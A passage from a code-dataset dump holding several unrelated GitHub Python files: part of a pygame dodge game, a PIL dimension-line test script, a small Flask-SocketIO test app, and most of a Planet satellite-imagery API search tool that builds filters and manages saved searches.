config.DISPLAY_HEIGHT-1)\n\n if randomNumber == 1:\n return enemie.BlueEnemie(randomPosition, self._speedIncrease)\n elif randomNumber == 2:\n return enemie.YellowEnemie(randomPosition, self._speedIncrease)\n elif randomNumber == 3:\n return enemie.RedEnemie(randomPosition, self._speedIncrease)\n else:\n return enemie.GreenEnemie(randomPosition, self._speedIncrease)\n\n def addBomb(self, newBomb):\n self._bombsList.append(newBomb)\n\n def _spawnBomb(self):\n randomNumber = random.randint(1, 3)\n if randomNumber == 1:\n randomPosition = random.randint(0, config.DISPLAY_WIDTH - 1), random.randint(0, config.DISPLAY_HEIGHT - 1)\n bomb = BOMB.Bomb(randomPosition, self._pygame)\n self.addBomb(bomb)\n self._bombTimer = 5\n\n def explodeBomb(self, bomb):\n self._explodedBombsList.append(bomb)\n self._playExplosionSound()\n\n def killBomb(self, bomb):\n self._explodedBombsList.remove(bomb)\n\n def catchBomb(self, bomb):\n self._bombsList.remove(bomb)\n\n def singlePlayerExplodeBomb(self):\n self._playersList[0].explodeBomb(self)\n\n def multiPlayerExplodeBomb(self, id):\n for playerAux in self._playersList:\n if playerAux.getId() == id:\n if playerAux.haveBomb():\n playerAux.explodeBomb(self)\n\n def playGameSong(self):\n self._sounds[0].play(-1)\n self._sounds[0].set_volume(0.3)\n\n def stopGameSong(self):\n self._sounds[0].stop()\n\n def _playWinSound(self):\n self._sounds[1].play()\n\n def _playDeathSound(self):\n self._sounds[2].play()\n\n def _playExplosionSound(self):\n self._sounds[3].play()\n\n def paintAllStuff(self, gameDisplay, playerPositionList):\n if not self._loseGame:\n self.paintMap(gameDisplay)\n if self._enemieTimer <= 0:\n self.spawnEnemie(self.getEnemieToSpawn())\n randomNumber = random.randint(1, 2)\n if randomNumber == 1:\n self.spawnEnemie(enemie.WhiteEnemie((0, 0), self._speedIncrease))\n else:\n self.spawnEnemie(enemie.PurpleEnemie((0, 0), self._speedIncrease))\n\n if self._bombTimer <= 0:\n self._spawnBomb()\n\n if self._difficultyTimer <= 0:\n self._increaseDifficulty()\n\n self.paintEnemies(gameDisplay)\n self.paintPlayers(gameDisplay, playerPositionList)\n self.paintBombs(gameDisplay)\n self.paintTime(gameDisplay)\n\n def paintMap(self, gameDisplay):\n self._map.paint(gameDisplay)\n\n def paintEnemies(self, gameDisplay):\n for enemieAux in self.getEnemies():\n enemieAux.move(self)\n enemieAux.paint(gameDisplay)\n for bombAux in self._explodedBombsList:\n if bombAux.explosionCollide(enemieAux):\n self.killEnemie(enemieAux)\n\n def paintPlayers(self, gameDisplay, playerPositionList):\n for playerAux in self.getAlivePlayers():\n for playerPositionAux in playerPositionList:\n if playerAux.getId() == playerPositionAux[0]:\n playerAux.addNewLastPosition(playerPositionAux[1])\n playerAux.paint(gameDisplay)\n if playerAux.isColliding(self.getEnemies()):\n if self.isTheLastPlayer():\n self.stopGame()\n self.paintWinGameMessage(gameDisplay)\n self.stopGameSong()\n self._playWinSound()\n self._loseGame = True\n else:\n playerAux.kill(self)\n self._playDeathSound()\n if not playerAux.haveBomb():\n for bombAux in self._bombsList:\n if bombAux.collide(playerAux):\n bombAux.catch()\n self.catchBomb(bombAux)\n playerAux.catchBomb(bombAux)\n\n def paintBombs(self, gameDisplay):\n for bombAux in self._bombsList:\n bombAux.paint(gameDisplay)\n\n for bombAux2 in self._explodedBombsList:\n bombAux2.paintRange(gameDisplay)\n\n def paintMessage(self, gameDisplay, mousePosition, message):\n font = self._pygame.font.SysFont(None, 30, True, False)\n text = font.render(message, True, ((0, 0, 255)))\n gameDisplay.blit(text, (mousePosition[0]-50, mousePosition[1]-20))\n\n def paintWinGameMessage(self, gameDisplay):\n font = self._pygame.font.SysFont(None, 100, True, False)\n text = font.render(\"YOU WIN!\", True, ((254, 254, 254)))\n gameDisplay.blit(text, (config.DISPLAY_WIDTH / 2 - text.get_rect().width / 2, config.DISPLAY_HEIGHT / 2 - text.get_rect().height / 2))\n\n def paintPauseGameMessage(self, gameDisplay):\n font = self._pygame.font.SysFont(None, 100, True, False)\n text = font.render(\"GAME IS PAUSED\", True, ((254, 254, 254)))\n gameDisplay.blit(text, (config.DISPLAY_WIDTH / 2 - text.get_rect().width / 2, config.DISPLAY_HEIGHT / 2 - text.get_rect().height / 2))\n\n def paintTime(self, gameDisplay):\n font = self._pygame.font.SysFont(None, 50, True, False)\n text = font.render(\"TIME:%d\" % self._gameTime, True, ((140, 160, 50)))\n gameDisplay.blit(text, (0, 0))\n\n def paintName(self, gameDisplay):\n font = self._pygame.font.SysFont(None, 30)\n text = font.render(\"%s\" % \"MESTRE\", True, (0, 0, 0))\n gameDisplay.blit(text, (495, 402))\n\n def decTimer(self):\n if self.isRunning():\n self._gameTime += 1\n if not self._loseGame:\n self._timer -= 1\n self._enemieTimer -= 1\n self._difficultyTimer -= 1\n self._bombTimer -= 1\n if self._difficultyTimer <= 0:\n self._difficultyTimer = 10\n self._increaseDifficulty()\n for bombAux in self._explodedBombsList:\n bombAux.decTimer()\n if bombAux.isTimeUp():\n self.killBomb(bombAux)\n else:\n self._endTimer -= 1\n if self._endTimer == 0:\n self._game.setGameExited()\n\n def playerLose(self, gameDisplay):\n self._loseGame = True\n\n def getTimer(self):\n return self._timer\n","repo_name":"Scheffel-V/DodgeGame","sub_path":"dodgegame.py","file_name":"dodgegame.py","file_ext":"py","file_size_in_byte":9603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7433127516","text":"import sys\r\nsys.path.append('../dims')\r\n\r\nfrom PIL import Image, ImageDraw, ImageFont\r\nfrom DimLinesPIL import polar2cart\r\nfrom DimLinesAA import slant_dim_aa\r\n\r\nif __name__ == \"__main__\":\r\n Text = 'Test'\r\n Angle = 45\r\n At = (60, 60)\r\n ptb = (30, 30)\r\n Length = 50\r\n exta = (10,) #15 #\r\n Font = ImageFont.truetype('consola.ttf', 15)\r\n\r\n image2 = Image.new('RGB', (120, 120), '#FFFFDD')\r\n\r\n sdraw = ImageDraw.Draw(image2)\r\n ct = polar2cart(At, Angle, Length)\r\n\r\n sdraw.line([At, ct], width=2, fill='blue')\r\n\r\n slant_dim_aa(image2, sdraw, At, extA=exta, fill=(0,0,0), length=Length,\r\n angle=Angle, text=Text, font=Font)\r\n\r\n image2.show()","repo_name":"Edgar-Donk/PIL-dimensions","sub_path":"docs/examples/aadims/test_slant_dim_aa_mod.py","file_name":"test_slant_dim_aa_mod.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7475686082","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 22 09:55:41 2017\n\n@author: jpoeppel\n\"\"\"\n\nfrom flask import Flask, render_template\nfrom flask_socketio import SocketIO, emit\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'secret!'\nsocketio = SocketIO(app)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@socketio.on('connect')\ndef connect():\n app.logger.info(\"Connected\")\n\n@socketio.on('my_event')\ndef test_message(message):\n \n emit('my_response', {'data': 'got it!: {}'.format(message)})\n\nif __name__ == '__main__':\n socketio.run(app, debug=True)","repo_name":"jpoeppel/Flask-SocketIO-FirefoxBug","sub_path":"runSocketIOTest.py","file_name":"runSocketIOTest.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73329898702","text":"from copy import deepcopy\nfrom calendar import monthrange\nfrom datetime import datetime\nimport json\nimport math\nimport os\nfrom pathlib import Path\nimport requests\nimport sys\nimport threading\nfrom multiprocessing.dummy import Pool as ThreadPool\n\nimport geopandas as gpd\nimport pandas as pd\nfrom retrying import retry\nfrom shapely.geometry import Point, Polygon\nfrom tqdm import tqdm\n\nfrom lib.lib import read_ids, write_gdf\nfrom lib.db import Postgres\nfrom lib.logging_utils import create_logger\nimport lib.constants as constants\n\nlogger = create_logger(__name__, 'sh', 'INFO')\n\n# External modules\nsys.path.append(str(Path(__file__).parent / '..'))\ntry:\n from db_utils.db import Postgres, intersect_aoi_where\nexcept ImportError as e:\n logger.error('db_utils module not found. It should be adjacent to '\n 'the planet_tools directory. Path: \\n{}'.format(sys.path))\n sys.exit()\n\n# API URLs and key\n# PLANET_URL = r'https://api.planet.com/data/v1'\n# SEARCH_URL = '{}/searches'.format(constants.PLANET_URL)\n# STATS_URL = '{}/stats'.format(constants.PLANET_URL)\nPLANET_API_KEY = os.getenv(constants.PL_API_KEY)\nif not PLANET_API_KEY:\n logger.error('Error retrieving API key. Is PL_API_KEY env variable set?')\n\n# Threading\nthread_local = threading.local()\n\n# CREATE SEARCHES\n# Footprint tables\n# constants.SCENES = 'scenes'\n# scenes_onhand = 'scenes_onhand'\n\n# To ensure passed filter type is valid\nfilter_types = ('DateRangeFilter', 'RangeFilter', 'UpdateFilter',\n 'GeometryFilter', 'NumberInFilter', 'StringInFilter')\n\n# String keys values in filters\nftype = 'type'\nand_filter = 'AndFilter'\nor_filter = 'OrFilter'\nnot_filter = 'NotFilter'\nfilter_type = 'filter_type'\nfield_name = 'field_name'\nconfig = 'config'\noperator = 'operator'\ndrf = 'DateRangeFilter'\ngf = 'GeometryFilter'\nnif = 'NumberInFilter'\nrf = 'RangeFilter'\nsif = 'StringInFilter'\nlte = 'lte'\ngte = 'gte'\n\nop_symbol = 'op_symbol'\nsym_gte = '>='\nsym_lte = '<='\nsym_equal = '='\n\n# For parsing attribute arguements\n# TODO: move this to a config file?\nattrib_arg_lut = {\n 'min_date': {filter_type: drf, operator: gte, op_symbol: sym_gte, field_name: 'acquired'},\n 'max_date': {filter_type: drf, operator: lte, op_symbol: sym_lte, field_name: 'acquired'},\n 'max_cc': {filter_type: rf, operator: lte, op_symbol: sym_lte, field_name: 'cloud_cover',},\n 'min_ulx': {filter_type: rf, operator: gte, op_symbol: sym_gte, field_name: 'origin_x'},\n 'max_ulx': {filter_type: rf, operator: lte, op_symbol: sym_lte, field_name: 'origin_x'},\n 'min_uly': {filter_type: rf, operator: gte, op_symbol: sym_gte, field_name: 'origin_y'},\n 'max_uly': {filter_type: rf, operator: lte, op_symbol: sym_lte, field_name: 'origin_y'},\n 'provider': {filter_type: sif, operator: None, op_symbol: sym_equal, field_name: 'provider'},\n 'satellite_id': {filter_type: sif, operator: None, op_symbol: sym_equal, field_name: 'satellite_id'},\n 'instrument': {filter_type: sif, operator: None, op_symbol: sym_equal, field_name: 'instrument'},\n 'strip_id': {filter_type: sif, operator: None, op_symbol: sym_equal, field_name: 'strip_id'},\n 'id': {filter_type: sif, operator: None, op_symbol: sym_equal, field_name: 'id'},\n 'min_sun_azimuth': {filter_type: rf, operator: gte, op_symbol: sym_gte, field_name: 'sun_azimuth'},\n 'max_sun_azimuth': {filter_type: rf, operator: lte, op_symbol: sym_lte, field_name: 'sun_azimuth'},\n 'min_sun_elevation': {filter_type: rf, operator: gte, op_symbol: sym_gte, field_name: 'sun_elevation'},\n 'max_sun_elevation': {filter_type: rf, operator: lte, op_symbol: sym_lte, field_name: 'sun_elevation'},\n 'quality_category': {filter_type: sif, operator: None, op_symbol: sym_equal, field_name: 'quality_category'},\n 'max_usable_data': {filter_type: rf, operator: gte, op_symbol: sym_gte, field_name: 'usable_data'},\n 'ground_control': {filter_type: rf, operator: gte, op_symbol: sym_gte, field_name: 'ground_control'}\n}\n\n\ndef create_master_geom_filter(vector_file):\n if not isinstance(vector_file, gpd.GeoDataFrame):\n # Read in AOI\n aoi = gpd.read_file(vector_file)\n else:\n aoi = vector_file\n # Create list of geometries to put in separate filters\n geometries = aoi.geometry.values\n json_geoms = [json.loads(gpd.GeoSeries([g]).to_json())['features'][0][constants.GEOMETRY]\n for g in geometries]\n # Create each geometry filter\n geom_filters = []\n for jg in json_geoms:\n geom_filter = {\n ftype: gf,\n field_name: constants.GEOMETRY,\n config: jg\n }\n geom_filters.append(geom_filter)\n # If more than one, nest in OrFilter, otherwise return single\n # GeometryFilter\n if len(geom_filters) > 1:\n master_geom_filter = {\n ftype: or_filter,\n config: geom_filters\n }\n else:\n master_geom_filter = geom_filters[0]\n\n return master_geom_filter\n\n\ndef create_attribute_filter(arg_name, arg_value):\n # Look up arg name, get filter type, field name, and comparison\n filter_params = attrib_arg_lut[arg_name]\n # If date (yyyy-mm-dd) provided, add time string to value\n if filter_params[filter_type] == drf:\n arg_value += \"T00:00:00.000Z\"\n\n if filter_params[operator]:\n arg_config = {filter_params[operator]: arg_value}\n else:\n arg_config = arg_value\n # Create filter\n filter = {\n ftype: filter_params[filter_type],\n field_name: filter_params[field_name],\n config: arg_config\n }\n\n return filter\n\n\ndef create_ids_filter(ids, field='id'):\n ids_filter = {ftype: sif,\n field_name: field,\n config: ids}\n return ids_filter\n\n\ndef create_master_attribute_filter(attrib_args):\n \"\"\"Create an AND filter from all attribute arguments provided.\n Parameters\n ----------\n attrib_args : dict\n Dict of {attribute: value}\n Returns\n ---------\n dict : attribute filter\n \"\"\"\n # Remove arguments not provided\n attribute_kwargs = {k: v for k, v in attrib_args.items() if v}\n attribute_filters = []\n for arg_name, arg_value in attribute_kwargs.items():\n att_filter = create_attribute_filter(arg_name, arg_value)\n attribute_filters.append(att_filter)\n\n if len(attribute_filters) > 1:\n master_attribute_filter = {\n ftype: and_filter,\n config: attribute_filters\n }\n else:\n master_attribute_filter = attribute_filters[0]\n\n return master_attribute_filter\n\n\ndef monthlist(start_date, end_date):\n \"\"\"\n Create a list of tuples of (YYYY, MM) for each month\n between start_date and end_date.\n Parameters\n ----------\n start_date: str\n YYYY-MM-DD\n end_date: str\n YYYY-MM-DD\n\n Returns\n ----------\n list: tuple of strings like (YYYY, MM)\n\n \"\"\"\n start, end = [datetime.strptime(_, \"%Y-%m-%d\") for _ in [start_date, end_date]]\n total_months = lambda dt: dt.month + 12 * dt.year\n mlist = []\n for tot_m in range(total_months(start)-1, total_months(end)):\n y, m = divmod(tot_m, 12)\n year = datetime(y, m+1, 1).strftime(\"%Y\")\n month = datetime(y, m+1, 1).strftime(\"%m\")\n mlist.append((year, month))\n\n return mlist\n\n\ndef create_months_filter(months, min_date=None, max_date=None,\n month_min_days=None, month_max_days=None):\n \"\"\"\n Create an OrFilter which has a subfilter for each month that is a\n DateRangeFilter for every year between min date and max date for\n that month. Eg, if months = ['01']:\n (acquired >= 2019-01-01 and acquired is <= 2019-01-31) OR\n (acquired >= 2020-01-01 and acquired is <= 2020-01-31)\n\n Parameters:\n -----------\n months : list\n min_date: str\n Date, like '2020-10-01'\n max_date: str\n Date, like '2020-10-31'\n month_min_days: dict\n {01: 10,\n 02: 15,\n ...}\n month_max_days: dict\n {01: 25,\n 02: 23,\n ...}\n \"\"\"\n time_suffix = \"T00:00:00.00Z\"\n date_format = '%Y-%m-%d'\n if not min_date:\n min_date = '2015-01-01'\n logger.warning('Using default minimum date of {} for creation of month filters.'.format(min_date))\n if not max_date:\n max_date = datetime.now().strftime(date_format)\n logger.warning('Using default maximum date of {} for creation of month filters.'.format(max_date))\n dates = [min_date, max_date]\n all_months = monthlist(min_date, max_date)\n\n # Select only months provided\n selected_months = [(y, m) for y, m in all_months if m in months]\n mfs = []\n for year, month in selected_months:\n # If limits on days are provided, use those\n if month_min_days and month in month_min_days.keys():\n first_day = month_min_days[month]\n else:\n first_day = '01'\n if month_max_days and month in month_max_days.keys():\n last_day = month_max_days[month]\n else:\n _, last_day = monthrange(int(year), int(month))\n\n month_begin = '{}-{}-{}{}'.format(year, month, first_day, time_suffix)\n month_end = '{}-{}-{}{}'.format(year, month, last_day, time_suffix)\n\n mf = {\n ftype: drf,\n field_name: \"acquired\",\n config: {\n gte: month_begin,\n lte: month_end\n }\n }\n mfs.append(mf)\n\n months_filters = {\n ftype: or_filter,\n config: mfs\n }\n\n return months_filters\n\n\ndef create_noh_filter(tbl=constants.SCENES_ONHAND):\n # TODO: This does not work with as it exceeds the Planet API payload size\n # when more than approximately 35k ids are included. Workaround is to\n # subset the IDs using the same parameters as the search filter, and\n # add a check that the number of IDs in the not_filter is < 35k. This\n # still won't scale perfectly but is a start for reducing returned\n # results.\n with Postgres(host=constants.SANDWICH, database=constants.PLANET) as db:\n sql = \"SELECT {} FROM {}\".format(constants.ID, tbl)\n oh_ids = list(set(list(db.sql2df(sql_str=sql, columns=[constants.ID])[constants.ID])))\n\n sf = {\n ftype: sif,\n field_name: constants.ID,\n config: oh_ids\n }\n nf = {\n ftype: not_filter,\n config: sf\n }\n\n return nf\n\n\ndef filter_from_arg(filter_arg):\n \"\"\"\n Convert string of : separated arguments to a formated\n search_filter dict\n \"\"\"\n # logger.debug('Filter arg: {}'.format(filter_arg))\n filter_types = ('DateRangeFilter', 'RangeFilter', 'UpdateFilter',\n 'GeometryFilter', 'NumberInFilter', 'StringInFilter')\n filter_type = filter_arg[0]\n if filter_type not in filter_types:\n logger.error('Unrecognized filter type: {}'.format(filter_type))\n raise Exception\n if filter_type in ('DateRangeFilter', 'RangeFilter', 'UpdateFilter'):\n if len(filter_arg) != 4:\n logger.error('Unexpected number of arguments: {}'.format(len(filter_arg)))\n logger.error('Arguments: {}'.format(filter_arg))\n raise Exception\n # TODO: If DateRangeFilter, convert input to properly formatted date\n field_name = filter_arg[1]\n compare = filter_arg[2]\n value = filter_arg[3]\n if filter_type == 'RangeFilter':\n value = float(value)\n if filter_type == 'DateRangeFilter':\n # Format the date (yyyy-mm-dd) with time for API call\n value += \"T00:00:00.000Z\"\n if compare not in ('gte', 'gt', 'lte', 'lt'):\n logger.error('Unrecognized comparison argument: {}'.format(compare))\n raise Exception\n config = {compare: value}\n elif filter_type in ('NumberInFilter', 'StringInFilter'):\n field_name = filter_arg[1]\n config = filter_arg[2:]\n elif filter_type == 'GeometryFilter':\n if len(filter_arg) == 2:\n field_name = constants.GEOMETRY\n vector_file = filter_arg[1]\n elif len(filter_arg) == 3:\n field_name = filter_arg[1]\n vector_file = filter_arg[2]\n logger.debug('Loading geometry from vector file: {}'.format(vector_file))\n assert os.path.exists(vector_file)\n # config = vector2geometry_config(vector_file=vector_file)\n config = create_master_geom_filter(vector_file)\n else:\n field_name, config = filter_arg[1], filter_arg[2]\n\n search_filter = {\n \"type\": filter_type,\n \"field_name\": field_name,\n \"config\": config\n }\n # logger.debug('Created search filter:\\nType: {}\\nField: {}\\nConfig: {}'.format(filter_type,\n # field_name,\n # config))\n\n return search_filter\n\n\ndef create_asset_filter(asset):\n asset_filter = {\n \"type\": \"AssetFilter\",\n \"config\": [asset]\n }\n\n return asset_filter\n\n\ndef create_master_filter(search_filters):\n if len(search_filters) > 1:\n master_filter = {\n \"type\": \"AndFilter\",\n \"config\": search_filters\n }\n else:\n master_filter = search_filters[0]\n\n return master_filter\n\n\ndef create_search_request(name, item_types, search_filters):\n logger.debug('Creating search request...')\n # Create a master filter - all filters applied as AND\n master_filter = create_master_filter(search_filters=search_filters)\n # Create search request json\n search_request = {\n \"name\": name,\n \"item_types\": item_types,\n \"filter\": master_filter\n }\n\n return search_request\n\n\ndef create_saved_search(search_request, overwrite_saved=False):\n \"\"\"Creates a saved search on the Planet API and returns the search ID.\"\"\"\n with requests.Session() as s:\n logger.debug('Authorizing using Planet API key...')\n s.auth = (PLANET_API_KEY, '')\n saved_searches = get_all_searches(s)\n search_name = search_request[\"name\"]\n\n # Determine if a saved search with the provided name exists\n ids_with_same_name = [x for x in saved_searches.keys() if saved_searches[x]['name'] == search_name]\n\n if ids_with_same_name:\n logger.warning(\"Saved search with name '{}' already exists.\".format(search_name))\n if overwrite_saved:\n logger.warning(\"Overwriting saved search with same name.\")\n for overwrite_id in ids_with_same_name:\n overwrite_url = '{}/{}'.format(constants.SEARCH_URL, overwrite_id)\n r = s.delete(overwrite_url)\n if r.status_code == 204:\n logger.debug('Deleted saved search: {}'.format(overwrite_id))\n else:\n logger.warning('Overwrite not specified, exiting')\n sys.exit()\n # Create new saved search\n logger.info('Creating new saved search: {}'.format(search_name))\n saved_search = s.post(constants.SEARCH_URL, json=search_request)\n logger.debug('Search creation request status: {}'.format(saved_search.status_code))\n if saved_search.status_code == 200:\n saved_search_id = saved_search.json()['id']\n logger.debug('New search created successfully: {}'.format(saved_search_id))\n else:\n logger.error('Error creating new search.')\n saved_search_id = None\n\n return saved_search_id\n\n\ndef get_all_searches(session):\n logger.debug('Getting saved searches...')\n res = session.get(constants.SEARCH_URL, params={\"search_type\": \"saved\"})\n searches = res.json()[\"searches\"]\n\n saved_searches = dict()\n for se in searches:\n saved_searches[se[\"id\"]] = {k: se[k] for k in se.keys()}\n\n logger.debug('Saved searches found: {}'.format(len(saved_searches.keys())))\n logger.debug('Saved search IDs:\\n{}'.format('\\n'.join(saved_searches.keys())))\n\n return saved_searches\n\n\ndef get_search_id(session, search_name):\n \"\"\"Return the saved search ID for the given search name\"\"\"\n all_searches = get_all_searches(session)\n matches = [s for s in all_searches if s[\"name\"]]\n search_id = all_searches[search_name][\"id\"]\n\n return search_id\n\n\ndef get_saved_search(session, search_id=None, search_name=None):\n all_searches = get_all_searches(session=session)\n if search_id:\n ss = all_searches[search_id]\n elif search_name:\n ss_id = get_search_id(session=session, search_name=search_name)\n ss = all_searches[search_id]\n else:\n logger.error('Must provide one of search_id or search_name')\n\n return ss\n\n\ndef create_search(name, item_types,\n ids=None,\n aoi=None,\n attrib_args=None,\n months=None,\n month_min_day_args=None,\n month_max_day_args=None,\n filters=None,\n asset_filters=None,\n load_filter=None,\n not_on_hand=False,\n fp_not_on_hand=False,\n get_count_only=False,\n overwrite_saved=False,\n save_filter=False,\n dryrun=False,\n **kwargs):\n \"\"\"\n Create a saved search using the Planet API, which gets a search\n ID. The search ID can then be used to retrieve footprints.\n\n Parameters\n ----------\n name : str\n The name to use when saving the search\n item_types : list\n The item_types to include in the search, e.g. ['PSScene4Band']\n ids : list, path to text file of IDs\n A list of scene ID's to select.\n attrib_args : dict\n Dictionary of arguments and values to use with\n create_attribute_filter to create filters\n months : list\n The months to include in the search.\n month_min_day : list\n List of lists of ['zero-padded month', 'zero-padded min-day']\n month_max_day : list\n List of lists of ['zero-padded month', 'zero-padded max-day']\n filters : list\n List of dictionarys that are already formated filters, see:\n https://developers.planet.com/docs/data/searches-filtering/\n asset_filters : list\n List of assests to include in search, e.g. ['basic_analytic']\n load_filter : str\n Path to json file containing filter(s) to load and use.\n not_on_hand : bool\n Create a NOT filter with all IDs currently on hand.\n fp_not_on_hand : bool\n Create a NOT filter with all IDs currently in 'scenes' table\n get_count_only : bool\n Get the count of the search and stop - do not get footprints\n overwrite_saved : bool\n Overwrite previously created search if exists with same name\n save_filter : str\n Path to write filter as json, can then be used with load_filter\n dryrun : bool\n Create filters and get count without saving search.\n\n Returns\n -------\n tuple : (str:saved search id, int:search count with filters)\n \"\"\"\n\n logger.info('Creating saved search...')\n\n search_filters = []\n\n if attrib_args and any([v for k, v in attrib_args.items()]):\n master_attribute_filter = create_master_attribute_filter(attrib_args)\n # print(master_attribute_filter)\n search_filters.append(master_attribute_filter)\n\n # Parse AOI to filter\n if aoi is not None:\n aoi_attribute_filter = create_master_geom_filter(vector_file=aoi)\n search_filters.append(aoi_attribute_filter)\n\n # Parse raw filters\n if filters:\n search_filters.extend([filter_from_arg(f) for f in filters])\n\n if ids:\n if isinstance(ids, str):\n # Assume path\n include_ids = read_ids(ids)\n else:\n include_ids = ids\n ids_filter = create_ids_filter(include_ids)\n search_filters.append(ids_filter)\n\n if months:\n month_min_days = None\n month_max_days = None\n if month_min_day_args:\n month_min_days = {month: day for month, day in month_min_day_args}\n if month_max_day_args:\n month_max_days = {month: day for month, day in month_max_day_args}\n mf = create_months_filter(months,\n min_date=attrib_args['min_date'],\n max_date=attrib_args['max_date'],\n month_min_days=month_min_days,\n month_max_days=month_max_days)\n search_filters.append(mf)\n\n # Parse any provided filters\n if load_filter:\n addtl_filter = json.load(open(load_filter))\n search_filters.append(addtl_filter)\n\n # Parse any asset filters\n if asset_filters:\n for af in asset_filters:\n f = create_asset_filter(af)\n search_filters.append(f)\n\n if not_on_hand:\n logger.warning('Not on hand filter may fail due to payload size '\n 'restriction on Planet API.')\n noh_filter = create_noh_filter(tbl=constants.SCENES_ONHAND)\n search_filters.append(noh_filter)\n\n if fp_not_on_hand:\n logger.warning('Not on hand filter may fail due to payload size '\n 'restriction on Planet API.')\n fp_noh_filter = create_noh_filter(tbl=constants.SCENES)\n fp_noh_filter['config']['config'] = fp_noh_filter['config']['config'][:10000]\n search_filters.append(fp_noh_filter)\n\n # Create search request using the filters created above\n for f in search_filters:\n if f['type'] == 'NotFilter':\n pf = deepcopy(f)\n # print(len(pf['config']['config']))\n pf['config']['config'] = pf['config']['config'][:20]\n # pprint(pf)\n\n sr = create_search_request(name=name, item_types=item_types, search_filters=search_filters)\n\n if save_filter:\n if os.path.basename(save_filter) == 'default.json':\n save_filter = os.path.join(os.path.dirname(__file__),\n 'config',\n 'search_filters',\n '{}.json'.format(name))\n logger.debug('Saving filter to: {}'.format(save_filter))\n with open(save_filter, 'w') as src:\n json.dump(sr, src)\n\n if logger.level == 10:\n # pprint was happening even when logger.level = 20 (INFO)\n logger.debug('Search request:\\n{}'.format(sr))\n\n # if get_count:\n total_count = get_search_count(sr)\n logger.debug('Count for new search \"{}\": {:,}'.format(name, total_count))\n if get_count_only:\n return None, total_count\n\n if not dryrun:\n if total_count > 0:\n # Submit search request as saved search\n ss_id = create_saved_search(search_request=sr,\n overwrite_saved=overwrite_saved)\n if ss_id:\n logger.info('Successfully created new search. '\n 'Search ID: {}'.format(ss_id))\n else:\n logger.warning('Search returned no results - skipping saving.')\n ss_id = None\n else:\n ss_id = None\n\n return ss_id, total_count\n\n\ndef delete_saved_search(session, search_name=None, search_id=None,\n dryrun=False):\n all_searches = get_all_searches(session)\n if search_id:\n if search_id in all_searches.keys():\n delete_id = search_id\n delete_url = \"{}/{}\".format(constants.SEARCH_URL, delete_id)\n elif search_name:\n ids_names = [(s_id, all_searches[s_id]['name']) for s_id in all_searches\n if all_searches[s_id]['name'] == search_name]\n if len(ids_names) == 0:\n logger.warning('No search with name {} found.'.format(search_name))\n elif len(ids_names) > 1:\n logger.warning('Multiple searches found with name {}\\n{}'.format(search_name, ids_names))\n else:\n delete_id = ids_names[0]\n delete_url = \"{}/{}\".format(constants.SEARCH_URL, delete_id)\n\n logger.debug('ID to delete: {}'.format(delete_id))\n\n if not dryrun:\n r = session.delete(delete_url)\n if r.status_code == 204:\n logger.info('Successfully deleted search.')\n\n\ndef get_search_count(search_request):\n sr_copy = deepcopy(search_request)\n name = sr_copy['name']\n stats_request = dict()\n stats_request['filter'] = sr_copy['filter']\n stats_request['item_types'] = sr_copy['item_types']\n stats_request[\"interval\"] = \"year\"\n\n buckets_key = 'buckets'\n count_key = 'count'\n\n with requests.Session() as session:\n logger.debug('Authorizing using Planet API key...')\n session.auth = (PLANET_API_KEY, '')\n stats = session.post(constants.STATS_URL, json=stats_request)\n if not str(stats.status_code).startswith('2'):\n logger.error(stats.status_code)\n logger.error(stats.reason)\n logger.error('Error connecting to {} with request:'\n '\\n{}'.format(constants.STATS_URL, str(stats_request)[0:500]))\n if len(str(stats_request)) > 500:\n logger.error('...{}'.format(str(stats_request)[-500:]))\n logger.debug(str(stats_request)[500:])\n logger.debug(stats)\n\n # pprint(stats_request)\n total_count = sum(bucket[count_key]\n for bucket in stats.json()[buckets_key])\n logger.info('Total count for search request \"{}\": {:,}'.format(name,\n total_count))\n\n return total_count\n\n\ndef get_session():\n if not hasattr(thread_local, \"session\"):\n thread_local.session = requests.Session()\n thread_local.session.auth = (PLANET_API_KEY, '')\n return thread_local.session\n\n\ndef response2gdf(response):\n \"\"\"Converts API response to a geodataframe.\"\"\"\n # Coordinate system of features returned by Planet API\n crs = 'epsg:4326'\n # Response feature property keys\n features_key = 'features'\n id_key = 'id'\n geometry_key = constants.GEOMETRY\n type_key = 'type'\n coords_key = 'coordinates'\n properties_key = 'properties'\n # Response feature values\n polygon_type = 'Polygon'\n point_type = 'Point'\n # All properites provided in API reponse\n property_atts = ['acquired', 'anomalous_pixels', 'cloud_cover',\n 'columns', 'epsg_code', 'ground_control', 'gsd',\n 'instrument', 'item_type', 'origin_x', 'origin_y',\n 'pixel_resolution', 'provider', 'published',\n 'quality_category', 'rows', 'satellite_id',\n 'strip_id', 'sun_azimuth', 'sun_elevation',\n 'updated', 'view_angle']\n\n features = response.json()[features_key]\n # Format response in dictionary format supported by geopandas\n reform_feats = {att: [] for att in property_atts}\n reform_feats[id_key] = []\n reform_feats[geometry_key] = []\n\n for feat in features:\n # Get ID\n reform_feats[id_key].append(feat[id_key])\n # Get geometry as shapely object\n geom_type = feat[geometry_key][type_key]\n if geom_type == polygon_type:\n geometry = Polygon(feat[geometry_key][coords_key][0])\n elif geom_type == point_type:\n geometry = Point(feat[geometry_key][coords_key][0])\n reform_feats[geometry_key].append(geometry)\n # Get all properties\n for att in property_atts:\n try:\n reform_feats[att].append(feat[properties_key][att])\n except KeyError:\n reform_feats[att].append(None)\n\n gdf = gpd.GeoDataFrame(reform_feats, crs=crs)\n # gdf['acquired'] = pd.to_datetime(gdf['acquired'], format=\"%Y-%m-%dT%H%M%S%fZ\")\n\n return gdf\n\n\ndef get_search_page_urls(saved_search_id, total_count):\n # TODO: Speed this up, bottle neck / is it possible to speed up?\n # How much longer would it take to just process each page...?\n # TODO: Possibly rewrite as loop up to total number of scenes in search id\n def fetch_pages(search_url, all_pages):\n # logger.debug('Fetching page...')\n session = get_session()\n all_pages.append(search_url)\n res = session.get(search_url)\n if res.status_code != 200:\n logger.error('Error connecting to search API: {}'.format(first_page_url))\n logger.error('Status code: 